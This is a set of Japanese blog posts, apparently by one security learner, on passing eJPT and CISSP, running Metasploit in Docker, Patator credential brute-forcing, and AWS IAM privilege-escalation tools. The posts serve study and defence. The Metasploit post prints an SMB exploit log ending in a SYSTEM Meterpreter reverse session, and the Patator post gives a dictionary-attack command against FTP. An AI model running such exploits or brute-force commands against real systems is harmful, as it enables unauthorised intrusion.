eJPT(eLearnSecurity Junior Penetration Tester)に合格しました
はじめに
eLearn Junior Penetration Testerに合格しました。試験概要みたいなところは良質なQiitaの記事があるのでそちらを紹介するとして、合格に至るまでを共有します。
※注意!…私が受けたのはeJPTv1で、近日中に(すでに?)eJPTv2というのがリリースされる(された?)そうです。この記事の内容の一部または全部がv2の受検に必ずしも活きない点はご留意ください。
どんな資格?どうすれば受験できる?どうすれば合格できる?
……みたいなことは、全てこちらの記事に委ねます。この記事のおかげで合格できたようなものです。
私の合格まで
前提と学習
もともと、TryHackMeをレベルOMNI
になるまでやっています。THMや『ハッキング・ラボ』などの書籍を通して、ペンテストのだいたいの流れ、ツールの性質や使い方はだいたい把握していました。業務で脆弱性診断や侵入テストをやることはほぼないです。
INEのトレーニングコンテンツはひたすらBlack-box Penetration Test 1〜3をやるのみでした。CISSPの受験を目標に勉強していた7〜9月あたりも息抜きがてらラボをやっていて、CISSPに合格した9月上旬から、次の目標として本腰を入れ始めたって感じです。3つのラボをつまづかずに解けるようになった段階で試験を受けました。
今年の1月の時点で、すでに受験の意思はあったようです。
eJPTいくか
— shinobe179 (@shinobe179) 2022年1月25日
2月中旬ぐらいで、はじめてINEのトレーニングコンテンツへアクセスしています。
eJPTのラボやろうと思ってたけどunder maintenanceとのことなのでTHMやる。
— shinobe179 (@shinobe179) 2022年2月11日
試験
試験は3日間でしたが、以下のように進みました。ご飯食べたりお風呂入ったりは普通にしていました。私程度のレベルでも時間的な余裕はある試験だと思います。ハマってる間は悶々としてキツかったですが。
- 1日目の夜:10問も回答できていないぐらいでハマる
- 2日目の朝:壁を越えて当落線上ギリギリの15問程度を回答したところでまたハマる
- 2日目の夜:再び壁を越えて全問回答
- 3日目の朝:全問確認してsubmit
結果は20問中18問正解でした。全問正解だろうなと思っていましたが、どれが間違ってたんだろう……?
完走した感想
これまでTHMなどで単一サーバーしか相手にしたことがなく、複数のサーバーやネットワークが存在する環境は新鮮でやりがいがありました。eJPT、おすすめです。
一方で、かなり苦戦したので、「Juniorでこれ……!?」って気持ちもありました。壁を越えられたのもほぼ偶然だったり、OSSのツールに頼り気味だったりなど、反省が多いです。精進を続けます。
次の目標は未定で、なんとなく以下から選ぶ予定でいます。おすすめのトレーニング、資格があったら教えてください!
Kali LinuxのMetasploitが使えなくなったら、Dockerイメージを使えばいいじゃない
はじめに
Kali LinuxのMetasploitが使えなくなって、急遽Dockerイメージで難を逃れた、という話です。
経緯
Kali LinuxのMetasploitが、突如として使えなくなりました。
$ msfconsole Could not find activerecord-6.1.4.6, actionpack-6.1.4.6, bcrypt-3.1.16, json-2.6.1, metasploit-concern-4.0.3, metasploit-credential-5.0.5, metasploit_data_models-5.0.4, metasploit-model-4.0.3, msgpack-1.4.5, network_interface-0.0.2, nokogiri-1.13.1-x86_64-linux, packetfu-1.1.13, pcaprub-0.13.1, pg-1.3.2, railties-6.1.4.6, recog-2.3.22, octokit-4.22.0, redcarpet-3.5.1, puma-5.6.2, thin-1.8.1, em-http-request-1.1.7, http-cookie-1.0.4, rspec-rerun-1.1.0, rails-6.1.4.6, bson-4.14.1, dnsruby-1.61.9, ed25519-1.3.0, bcrypt_pbkdf-1.1.0, winrm-2.3.6, sqlite3-1.4.2, xdr-3.0.3, hrr_rb_ssh-ed25519-0.4.2, irb-1.3.6, aws-sdk-s3-1.112.0, faye-websocket-0.11.1, eventmachine-1.2.7, ruby-oci8-2.2.10, actionview-6.1.4.6, rails-dom-testing-2.0.3, rails-html-sanitizer-1.4.2, arel-helpers-2.14.0, racc-1.6.0, nio4r-2.5.8, em-socksify-0.3.2, http_parser.rb-0.8.0, domain_name-0.5.20190701, actioncable-6.1.4.6, actionmailbox-6.1.4.6, actionmailer-6.1.4.6, actiontext-6.1.4.6, activejob-6.1.4.6, activestorage-6.1.4.6, sprockets-rails-3.4.2, simpleidn-0.2.1, gssapi-1.3.1, io-console-0.5.11, websocket-driver-0.7.5, loofah-2.14.0, unf-0.1.4, ffi-1.15.5, unf_ext-0.0.8 in any of the sources Run `bundle install` to install missing gems.
bundle install
を試みてもダメ、apt remove
して入れ直すことも試してみたのですが、依存関係もひっちゃかめっちゃかになってしまっており、どうにもできない状態でした。OS再インストールも時間の制約があって無理だったので、Dockerイメージに縋ったところ、うまくいきました。
※2022-09-21追記
metasploitframework/metasploit-framework、オフィシャルなリポジトリなのかよく分からない問題。一応登録情報自体は、開発元のRapid7っぽくはあるのですが。
これとは別に、Rapid7としての登録は別で存在しているみたい。
一応、Parrot Securityのリポジトリも置いておきます。手元でrunしてみたところ、こちらはPostgreSQLとNmapが同梱されているようでした。
Rapid7のMetasploit関係っぽいリポジトリは、あんまりメンテナンスされていない感じ……?
使い方
普通にpullしてrunすると、いつものプロンプトが顔を見せてくれます。ポートバインドはリバースシェルを確立する時のリッスンポートや、Meterpreterのportfwd
をする時にホストOSからの通信を受け付けるためのものです*1。
$ docker pull metasploitframework/metasploit-framework $ docker run -p 4440-4450:4440-4450 -it metasploitframework/metasploit-framework
注意事項
windows/meterpreter/reverse_tcp
などのペイロードを使ってコネクションを確立する場合、LHOST
をホストOSのIPアドレスにする必要があります。これをメモしておきたいがための記事です。
全く裏をとっていない適当なことを言いますが、LHOST
には以下の2つの役割があると思われます。
したがって、コンテナのIPアドレスだったりすると到達性の問題で都合が悪いのだと思います。コンテナ自身はそのIPアドレスを持たないので、ターゲットからの通信を0.0.0.0
で待ち受けます(以下のログ1〜2行目を参照)。
msf6 exploit(omitted) > run [-] Handler failed to bind to 192.0.2.1:4444:- - [*] Started reverse TCP handler on 0.0.0.0:4444 [*] 198.51.100.1:445 - Target OS: Windows 5.1 [*] 198.51.100.1:445 - Filling barrel with fish... done [*] 198.51.100.1:445 - <---------------- | Entering Danger Zone | ----------------> [*] 198.51.100.1:445 - [*] Preparing dynamite... [*] 198.51.100.1:445 - [*] Trying stick 1 (x86)...Boom! [*] 198.51.100.1:445 - [+] Successfully Leaked Transaction! [*] 198.51.100.1:445 - [+] Successfully caught Fish-in-a-barrel [*] 198.51.100.1:445 - <---------------- | Leaving Danger Zone | ----------------> [*] 198.51.100.1:445 - Reading from CONNECTION struct at: 0x8216e290 [*] 198.51.100.1:445 - Built a write-what-where primitive... [+] 198.51.100.1:445 - Overwrite complete... SYSTEM session obtained! [*] 198.51.100.1:445 - Selecting native target [*] 198.51.100.1:445 - Uploading payload... mtZMSrbZ.exe [*] 198.51.100.1:445 - Created \mtZMSrbZ.exe... [+] 198.51.100.1:445 - Service started successfully... [*] Sending stage (175174 bytes) to 198.51.100.1 [*] 198.51.100.1:445 - Deleting \mtZMSrbZ.exe... [*] Meterpreter session 2 opened (172.17.0.2:4444 -> 198.51.100.1:3731) at 2022-09-18 12:33:44 +0000
おわりに
パッケージ管理システムの依存関係ぶっ壊れ、解消できる人っているんでしょうか?再インストールとか、新しいインスタンス立てるとかで対処するのしか見たことないんですが。
何はともあれDocker便利だなというのと、ポートバインドやLHOST
はネットワークを理解していなかったら延々ハマっていたと思うので、ネットワークやっててよかったなと思いました(小並感)。
*1:きっと必要だと思って指定していますが、指定しないパターンの検証はしていません
ユーザー名とパスワードの組を固定してSSH / FTPへ辞書攻撃する
はじめに
FTPやSSHでの辞書攻撃を、ユーザー名とパスワードの組を固定してやりたい場合、Patetorの --groups
オプションを使うといいです。
「ユーザー名とパスワードの組を固定する」とは、例えばパラメータp1、p2に対応するペイロードのリストl1、l2を用意し、以下のようにリクエストを送信することを指します。Burp Suiteのintruderでいうところのpitchfork
ですね。
- 1回目…p1: l1の1行目 / p2: l2の1行目
- 2回目…p2: l1の2行目 / p2: l2の2行目
- 3回目…p2: l1の3行目 / p2: l2の3行目
- …
Burp Suiteを例に挙げている通り、HTTP(S)を対象としたツールでは見かける動作モードなのですが、SSH / FTPでもやりたいなーと思ったらいつも使っているHydraではできなさそうだったので、探してみたところPatatorならできた、というのが経緯です。
Patator(および、同種のツールの多く)では、デフォルトだと以下のように全ての組み合わせを試す動作します。intruderではclusterbomb
と呼ばれているやつです。
- 1回目…p1: l1の1行目 / p2: l2の1行目
- 2回目…p2: l1の1行目 / p2: l2の2行目
- 3回目…p2: l1の1行目 / p2: l2の3行目
- …
やり方
--groups
の引数として、組にしたいファイルの番号をコロン区切りで与えればOKです。
patator ftp_login host=192.0.2.1 user=FILE0 password=FILE1 0=usernames 1=passwords --groups 0:1
だいたい2ヶ月でCISSPの試験に合格した話
はじめに
id:shinobe179 です。CISSPの試験をパスしました。報告ツイートにお祝いのコメントをくださった皆様、アドバイスをくださった皆様、合格体験記を公開してくださった皆様、ありがとうございました。
CISSP試験パスしました。対戦ありがとうございました。
— shinobe179 (@shinobe179) 2022年9月6日
私も先達にならって、合格体験記を書こうと思います。これから受験する方々のお役に立てたら嬉しいです。ここに書いていないことでも、TwitterにDMもらえれば、答えられる範囲で答えます。
結論
- 試験をパスしたいだけなら、四の五の言わずに公式問題集をやる
- 全ドメイン + 全模擬試験問題で正答率90%前後を叩き出せるようになったらパスできるはず
モチベーション
TLを流れゆく数多くのCISSP合格報告を見て、これになったからです。
みんなCISSP持ってる。持ってないのおれだけ。(実務経験足りません)
— のみぞう@9/11 技術書典13【き07】 (@nomizooone) 2022年6月14日
やっぱり私のような意志の弱い人間とSNSの組み合わせはよくないですね。四方を常に青々とした芝で囲まれているような気持ちです。なお、似たような事象としてOSCPがあります。
一番のモチベーションは本当に↑なんですが、他にも
- 現実世界におけるしがらみによって、ミクロ(個別施策の運用とか)よりもマクロ(全体戦略)に目を向けなければならなくなった
- 高次存在(何かの例え)と対話する機会が増え、実績以外にも信頼度を高める何かが欲しかった*1
……というなまぐさ〜い事情があり、いずれにもCISSPがマッチするなと思って、「やるなら今だな」となりました。
あとモチベーションではないですが、今回会社の支援などはなく 全額自腹 なので、落ちたら10万円ちょっとをドブに捨てることになるという、人生でもトップ10には入るであろう高強度プレッシャーがかかっていました。
参考にした受験記
ヌーラボの方。集合研修を受けずに合格しています。
ラックの方。集合研修を受けているけど、それ自体が試験のパスにはあまり寄与していない感じがします。あと文章のギャルみが単純に面白くて好き。何かに目覚めそう*2……。
合格までの道のり
最初から最後まで、公式問題集を解いていただけです。
- 7月中旬
- 8月中旬
- ドメイン1〜8の2周目完了。正答率8割〜9割。
- 「いけるやん」と思い、試験を予約。
- 9月末受験という計画だったが日程がなく、勉強が辛すぎて早く終わりたい気持ちもあり、9月で唯一空いていた上旬の日程を確保。
- 8月下旬〜9月上旬
- 模擬試験1〜4の1周目完了。8割弱ぐらい。
- 直前の土日に2周目完了。全部9割以上。
正答数の変遷はGoogle Sheetに記録していました。Twitterでも固定ツイートで公開していたやつです。しばらく公開しておくつもりなので、フォーマットなど参考にしていただけたらうれしいです。
試験前日
朝7時半集合とか絶対に無理なので、会場のすぐそばのビジネスホテルを抑えました。10万超の受験料を自腹で払ったことで、追加の7,000円程度の出費は実質タダのようなものです。さすが自腹勢、面構えが違う。
15時頃にチェックインして、まず会場に行って当日の手続きや身分証明書に不備がないかなどを確認しました。受付の方が非常に親切に案内してくれてよかったです。
そこから21時ぐらいまで、脳内で整理できていないことをMarkdownで書き出して整理していました。CISSP勉強ノートという超有用マテリアルがあるのですが、自分用のそれを作る感じです。それ見ときゃいいじゃんというのもあるんですが、自分の脳内にある構造で、自分の言葉で書いて覚える作業が少なくとも私には必要でした。
今回、勉強に集中するためにPCを持って来ておらず、代わりにブラウジングにはちょっと不便なiPadとHHKBを持ち込みました。iPadでMarkdownを書くなら、「#type」というアプリがおすすめです。
プレッシャーと不安で目がパキッており眠気が来なかったため、0時過ぎに「問題集の問題と答えを口に出して覚える」という鬼気迫るTwitterスペースを開設して、3時ぐらいまでやってました。
喋りながらなら覚えるんじゃないかという愚策 https://t.co/1H8aZpp8Mf
— shinobe179 (@shinobe179) 2022年9月5日
試験当日
起床試験は無事突破し、時間通りに会場に着いて試験開始しました。
CISSPは試験時間6時間の間、自由に休憩をとれます。当初の戦略は「1時間に1回、10分休憩」でした。時間ベースで強制的に区切りを付けることで、進捗が悪い時に立て直しを図りやすいという考えでした。
結局、休憩は最初の1時間で120問解いた後の1回だけで、その後は1時間強で残りを解ききって試験終了。休憩中の食事として500mlの水を3本とラムネ3つ買ったんですが、余裕で余りました。
「スコアレポートが2枚だったら合格」という情報を耳にしていたので、1枚の紙を手渡された時は膝から崩れ落ちそうになりましたが、文章読んだら入りが「おめでとうございます!」だったので安堵しました。2枚なら合格説なんだったんだよ!
試験問題について
もちろん細かいことは書けません。そのうえで、問題は暗記ものは記憶から引っ張り出してくるしかないですが、CISSP(セキュリティ専門家)としての判断を問われるものは、2択まで絞れるけどひとつに絞れないよーというのが結構ありました。私は勝手に「正答が複数ある問題があって、その場合はどっちを選んでも点数(少なくとも部分点)をもらえる」と解釈して、サクッと直観で選んじゃいました。時間を食っちゃう方がもったいないので。「落ちたと思っていたら受かっていた」という話を結構見聞きするので、あながち間違いではないのでは……?
おわりに
CISSPの試験範囲には、米国の法律をはじめ、私としては「知らんがな」と思うようなことがたくさん含まれていますが、とりわけNIST SP800シリーズをはじめとした各種リスクマネジメントの知識は、IPAの情報処理安全確保支援士よりもがっつり学べた気がします。支援士との比較は、また別口で語りたい気がします。
CISSPで養った知識が役に立つ・立たないについては、自ら検体となって確かめようと思います。私の立場的に、SOCやマルウェアアナリストのように技術を振るう方々よりは、活用の機会は多そうです。というかむしろ、自腹で払った受験料10万 +受験のための諸費用をペイするために、否が応にも役に立ってもらわなければ困る、役に立てるという姿勢で取り組もうかと。
また今回やってみて、分かっちゃいたことですが自分のキャリアパスが明確でないというのがあって、セキュリティ云々以前にそういうことも考える、というタスクも積まれました。それな‥…。
あ、次はOSCPへの前哨戦として、eJPTのチャレンジを考えています。
IAMの権限昇格パスを修正してくれる「IAM-Deescalate」
はじめに
id:shinobe179です。先日、IAMの権限昇格パスを可視化してくれるPMapperを紹介しました。
今回は、そのPMapperを利用して、権限昇格パスの修正までしてくれる、IAM-Deescalateを紹介します。次世代ファイアウォールで名を馳せたパロアルト社製。
下準備
今回、わざと脆弱なIAMロールを2つ作って検証に臨みました。
- ItsunoManikaDekitetaAdminRole
- UkkariDekitetaAdminNottoriRole
- 権限昇格する側
- ItsunoManikaDekitetaAdminRoleにAssumeRoleできるポリシーが付与されている
- プリンシパルとしてec2.amazonaws.comが指定されている
この2つがPMapperで検出されるか試したところ、無事検出されました。私の想定では、UkkariDekitetaがアタッチされたEC2インスタンスを乗っ取ってAssumeRoleして……ということを考えていたのですが、更に別のロールからUkkariDekitetaを利用する手もあったみたいです。やっぱりPMapper便利ですね。
セットアップ
IAM-Deescalateの番です。まずはREADMEに従ってセットアップします。ちなみに、この手順でクローンしてきたPMapperは(gathering.pyを置き換えているせいで)通常のPMapperとしては利用できません。ご注意ください。私は10分ぐらいハマりました。
$ mkdir iam && cd iam $ git clone https://github.com/nccgroup/PMapper.git $ git clone https://github.com/PaloAltoNetworks/IAM-Deescalate.git $ cp IAM-Deescalate/misc/gathering.py PMapper/principalmapper/graphing/gathering.py $ cp IAM-Deescalate/misc/case_insensitive_dict.py PMapper/principalmapper/util/case_insensitive_dict.py $ cd IAM-Deescalate $ pip3 install -r requirements.txt
列挙
まずは audit
サブコマンドで、管理者相当の権限を保有しているロール(PMapperで言うところのAdmin)と、それらへ権限昇格できそうなロールその他の列挙です。こちらでも、AdminとしてItsunoManikaが、それらへ至るロールのひとつとしてUkkariDekitetaが検出されています。
$ python3 iam_deesc.py audit _____ __ __ _____ |_ _| /\ | \/ | | __ \ | | / \ | \ / |______| | | | ___ ___ ___ ___ | | / /\ \ | |\/| |______| | | |/ _ \/ _ \/ __|/ __| _| |_ / ____ \| | | | | |__| | __/ __/\__ \ (__ |_____/_/ \_\_| |_| |_____/ \___|\___||___/\___| Auditing AWS account xxx ... Principals with AdministratorAccess permissions: user/shinobe role/AWSCloudFormationStackSetExecutionRole role/cdk-xxx-cfn-exec-role-xxx-ap-northeast-1 role/ItsunoManikaDekitetaAdminRole Non-admin principals vulnerable to privilege escalation: role/AWSCloudFormationStackSetAdministrationRole role/cdk-xxx-deploy-role-xxx-ap-northeast-1 role/UkkariDekitetaAdminNottoriRole The audit output is stored at /home/cloudshell-user/work/iam/IAM-Deescalate/output/xxx/audit/privesc.json You can exclude specific principals from the remediation process by removing them from the "privesc_principal" block. $
修正案の作成
ここからはPMapperにない、IAM-Deescalate独自の機能です。plan
サブコマンドで、脆弱なIAMロールの修正案を作成してくれます。UkkariDekitetaについては、EffectをDenyにするという単純明快な案を提示してきました。今回、UkkariDekitetaのAssumeRoleは実はいらなかったという設定で、先に進みたいと思います。
$ python3 iam_deesc.py plan Creating remediation plans for AWS account xxx ... The remediation plans have been successfully created under /home/cloudshell-user/work/iam/IAM-Deescalate/output/xxx/plan/. Each file under this directory represents one vulnerable principal. Please review the plans and mark "patch_me" to 1 for the policies to be applied. $ cat /home/cloudshell-user/work/iam/IAM-Deescalate/output/xxx/plan/role/UkkariDekitetaAdminNottoriRole.json { "vulnerable_principal": "arn:aws:iam::xxx:role/UkkariDekitetaAdminNottoriRole", "reachable_admin_principals": { "arn:aws:iam::xxx:role/ItsunoManikaDekitetaAdminRole": [ { "reason": "can access via sts:AssumeRole", "remediations": [ { "policy": [ { "Effect": "Deny", "Action": [ "sts:AssumeRole" ], "Resource": [ "arn:aws:iam::xxx:role/ItsunoManikaDekitetaAdminRole" ] } ], "patch_me": 0 } ] } ] } }$
修正案の反映
apply
サブコマンドで、作成した修正案を実環境へ反映します。実行の前に、修正案の中のpatch_me
を0から1にしておきます。どうやら、UkkariDekitetaに対してインラインポリシーをアタッチしたみたいです。念のため説明しておくと、IAMの世界において、明示的な拒否は他の何よりも優先されます。Adminへの権限昇格を許すようなアクションを拒否するポリシーを追加でアタッチすることで、元凶のポリシーを直接いじることなく無力化させられるわけですね。
$ python3 iam_deesc.py apply Applying the remediation strategy for AWS account xxx ... Inline policy has been successfully applied to role/UkkariDekitetaAdminNottoriRole $
インラインポリシーできてる!すごいです。念のためaudit
サブコマンドで確認したところ、脆弱なロール一覧からUkkariDekitetaが消えていました。
修正の取り消し
revert
サブコマンドでできます。必要な権限を消してしまった時も慌てずに。
$ python3 iam_deesc.py revert Reverting the remediation strategy previously applied to AWS account xxx ... Inline policy for role/UkkariDekitetaAdminNottoriRole has been deleted $
おわりに
IAM-Deescalateを紹介しました。plan
やapply
を本番環境で使えるかと言うとそんなことはなく、本番を模した検証環境でaudit
して脅威の確認、plan
およびapply
でデグレ含め確認をしたうえで、(同じツールでやるかは別として)本番の修正に着手……というユースケースが予想されます。もちろん脅威の修正が最優先ならば、本番環境で出たとこ勝負もあるのかもしれませんが、日頃からこういったツールで脅威分析をして、そういう状況にならないことが重要ですね。綺麗な着地。
検証のために作った2つのロール間になかなか権限昇格パスが認められなくて苦戦しました。IAMポリシーを書く機会が少ないので、いい勉強になりました。
Trivyでプライベートレジストリのコンテナをスキャンする
はじめに
id:shinobe179です。巷ではTrivyがAWSの設定不備をスキャンできるようになったと話題です。それは一旦クラスメソッドさんの記事に譲るとして。
今日はタイトルの通り、Trivyでプライベートレジストリにあるコンテナの脆弱性をスキャンするにはどうすればいいのかを調べました。
結論
レジストリのクレデンシャルを以下の環境変数に入れておけば、実行時にいい感じにしてくれます。OSでDockerが動いている必要すらありません。
- ユーザー名:
TRIVY_USERNAME
- パスワード:
TRIVY_PASSWORD
参考:
補足:ECRの場合
AWSのElastic Container Registryのプライベートリポジトリの場合は、AWSCLIやSDKを使ってクレデンシャルを取得して、それを環境変数に入れる必要があります。もしかしてSTSから取得したセッショントークンをAWS_SESSION_TOKEN
とかにいれておけば、ECRのクレデンシャル取得まで勝手にやってくれたりしないかなと思いましたが、ダメみたいでした。
さいごに(筆者自身の備忘を兼ねる)
これは今回の検証を通してはじめて知ったことですが、Trivyはスキャン対象のコンテナイメージがローカルになくても(pullしていなくても)スキャンできます。結論にも書いた通り、Trivyの実行環境でDockerがインストールされている必要すらありません。Trivy自身がDockerのプロトコルを喋ってるっぽいです。
プライベートレジストリの場合は認証が必要です。Trivy自身がDockerプロトコルを扱えるのなら、クレデンシャルを渡す方法があるはずです。それってどうやるんだろう、というのが今回の趣旨でした。
すごいぞTrivy。
IAMの権限昇格を可視化する「PMapper」
AWSの権限昇格してますか?(挨拶)
PMapperは、指定したAWSアカウントのIAMとOrganizationsを分析して、権限昇格可能なパスを可視化してくれるツールです。NCCグループ社製。
PMapperはIAMポリシー、ユーザー、グループなどをノード、権限昇格する(できる)ノードから、されるノードへのベクトルをエッジとして、有向グラフを生成します。こんな感じ。
権限昇格できるノード--昇格方法-->権限昇格されるノード
AdministratorsAccess
の他、IAMFullAccess
のように、自分自身にポリシーを割り当てられるノードをAdminと位置づけ、AssumeRole
や PathRole
によってAdminに(直接的か間接的かを問わず)なれる別のノードを探す、という感じみたいです。
実行
CloudShellを使いました。Dockerイメージもありますが、リポジトリにrequirements.txtが同梱されているのでそっちで済ませました。
$ sudo yum install -y graphviz $ git clone https://github.com/nccgroup/PMapper.git $ cd PMapper $ pip3 install --user -r requirements.txt
IAMリソースの情報を収集し、グラフを作成します。
$ python3 pmapper.py graph create
以下のコマンドで概況を把握できます。ノードが40あり、うち3つがAdminに相当するようです。これだけでは権限昇格できる・されるの関係は分かりません。
$ python3 pmapper.py graph display Graph Data for Account: omitted # of Nodes: 40 (3 admins) # of Edges: 13 # of Groups: 2 # of (tracked) Policies: 90
グラフの画像ファイルを出力します。
$ python3 pmapper.py visualize Created file ./omitted-account-id.svg
出力したファイルを、CloudShell画面右上の「Actions」から「Download file」したもの(の一部)がこちら。青がAdminノード、赤がAdminに権限昇格できるノードです。
--only-privesc
オプションを付けると、権限昇格可能な組み合わせのみが残って、その手法が表示されます。
$ python3 pmapper.py visualize --only-privesc Created file ./omitted-account-id-privesc-risks.svg
こんな感じ。
上段は「CloudFormation」とあります。赤いほうのノード(ロール)はCloudFormationスタックの作成と青いノード(ロール)をPassRoleする権限を持っているので、例えばCloudFormationでAdmin相当の権限を持ったEC2インスタンスを立てて悪いことできちゃう、ということのようです。
下段は「AssumeRole」とあります。こちらは単純に、赤いノードが青いノードを引き受けられる、ということです。
要するに、赤いロールが侵害されるとマズい、ということです。ネクストアクションとしては、IAMの設定を見直すことで改善・解消できるならそうすべきだし、そうでないなら、この赤いロールを引き受けているリソースを特定して、それらが侵害される状態になっていないかを確認する、といったところでしょうか。
おわりに
グラフ生成機能は(おそらく)AdministratorAccessなど固定的な条件のみから生成されるっぽいですが、これとは別に query
サブコマンドで任意の権限を利用できるノードを列挙する機能があるようです。
その他、Organizationsの分析もできたりするみたいですが、割愛します。
PMapperをラップしたパロアルト社の「IAM-Deescalate」も併せて紹介しようと思ったんですが、PMapperだけで結構重かったので、こちらも次回にします。